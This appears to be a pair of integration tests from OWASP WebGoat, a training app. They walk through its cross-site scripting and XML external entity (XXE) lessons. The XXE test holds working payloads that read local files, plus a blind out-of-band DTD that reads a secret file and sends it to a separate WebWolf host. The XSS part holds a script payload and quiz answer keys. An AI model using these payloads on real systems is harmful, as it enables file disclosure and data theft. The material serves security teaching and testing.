params.put("checkboxAttack1", "value");
checkAssignment(url("/CrossSiteScripting/attack1"), params, true);
params.clear();
params.put("QTY1", "1");
params.put("QTY2", "1");
params.put("QTY3", "1");
params.put("QTY4", "1");
params.put("field1", "<script>alert('XSS+Test')</script>");
params.put("field2", "111");
checkAssignmentWithGet(url("/CrossSiteScripting/attack5a"), params, true);
params.clear();
params.put("DOMTestRoute", "start.mvc#test");
checkAssignment(url("/CrossSiteScripting/attack6a"), params, true);
params.clear();
params.put("param1", "42");
params.put("param2", "24");
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("webgoat-requested-by", "dom-xss-vuln")
.header("X-Requested-With", "XMLHttpRequest")
.formParams(params)
.post(url("/CrossSiteScripting/phone-home-xss"))
.then()
.statusCode(200)
.extract().path("output");
String secretNumber = result.substring("phoneHome Response is ".length());
params.clear();
params.put("successMessage", secretNumber);
checkAssignment(url("/CrossSiteScripting/dom-follow-up"), params, true);
params.clear();
params.put("question_0_solution", "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then the browser does not know that the script is malicious.");
params.put("question_1_solution", "Solution 3: The data is included in dynamic content that is sent to a web user without being validated for malicious content.");
params.put("question_2_solution", "Solution 1: The script is permanently stored on the server and the victim gets the malicious script when requesting information from the server.");
params.put("question_3_solution", "Solution 2: They reflect the injected script off the web server. That occurs when input sent to the web server is part of the request.");
params.put("question_4_solution", "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that the browser executes.");
checkAssignment(url("/CrossSiteScripting/quiz"), params, true);
checkResults("/CrossSiteScripting/");
}
}

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package org.owasp.webgoat;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import org.junit.jupiter.api.Test;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class XXEIntegrationTest extends IntegrationTest {
private static final String xxe3 = """
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
private static final String xxe4 = """
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
private static final String dtd7 = """
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;""";
private static final String xxe7 = """
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>""";
private String webGoatHomeDirectory;
private String webWolfFileServerLocation;
/*
* This test is to verify that all is secure when XXE security patch is applied.
*/
@Test
public void xxeSecure() throws IOException {
startLesson("XXE");
webGoatHomeDirectory = webGoatServerDirectory();
webWolfFileServerLocation = getWebWolfFileServerLocation();
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/enable-security.mvc"))
.then()
.statusCode(200);
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false);
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", false);
}
/**
* This performs the steps of the exercise before the secret can be committed in the final step.
*
* @return
* @throws IOException
*/
private String getSecret() throws IOException {
//remove any left over DTD
Path webWolfFilePath = Paths.get(webWolfFileServerLocation);
if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) {
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
}
String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
//upload DTD
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "blind.dtd", dtd7String.getBytes())
.post(webWolfUrl("/fileupload"))
.then()
.extract().response().getBody().asString();
//upload attack
String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser());
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false);
//read results from WebWolf
String result = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/requests"))
.then()
.extract().response().getBody().asString();
result = result.replace("%20", " ");
if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("), result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
}
return result;
}
@Test
public void runTests() throws IOException {
startLesson("XXE", true);
webGoatHomeDirectory = webGoatServerDirectory();
webWolfFileServerLocation = getWebWolfFileServerLocation();
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", true);
checkResults("xxe/");
}
}